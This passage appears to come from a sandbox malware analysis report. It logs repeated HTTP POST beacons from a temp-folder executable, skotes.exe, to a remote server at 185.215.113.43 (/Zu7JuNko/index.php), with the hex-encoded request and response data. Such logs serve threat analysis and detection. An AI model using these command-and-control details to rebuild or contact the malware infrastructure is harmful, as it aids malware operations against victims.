Nov 12, 2024 02:16:10.646868944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50104	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:12.169476032 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:13.088650942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50105	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:14.731569052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:15.657931089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	50106	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:17.180700064 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:18.105705976 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50107	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:19.743051052 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:20.638943911 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50108	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:22.149672985 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:23.074219942 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50109	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:24.710490942 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:25.634608030 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50110	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:27.149178982 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:28.072962999 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50111	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:29.711872101 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:30.629431963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50112	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:32.153662920 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:33.060031891 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50113	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:34.703342915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:35.604836941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50114	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:37.118171930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50115	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:38.965491056 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:39.883349895 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50116	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:41.399286032 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:42.321814060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50117	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:43.961568117 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:44.896384954 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50118	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:46.421264887 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:47.341844082 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50119	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:48.985246897 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:49.934943914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50120	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:51.446134090 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:52.419302940 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50121	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:54.057427883 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:54.983324051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50122	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:56.513480902 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:16:57.439199924 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50123	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:16:59.071960926 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:16:59.978033066 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50124	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:01.493172884 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:02.398369074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50125	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:04.038881063 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:17:04.955048084 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50126	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:17:06.481170893 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:17:07.397735119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50127	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
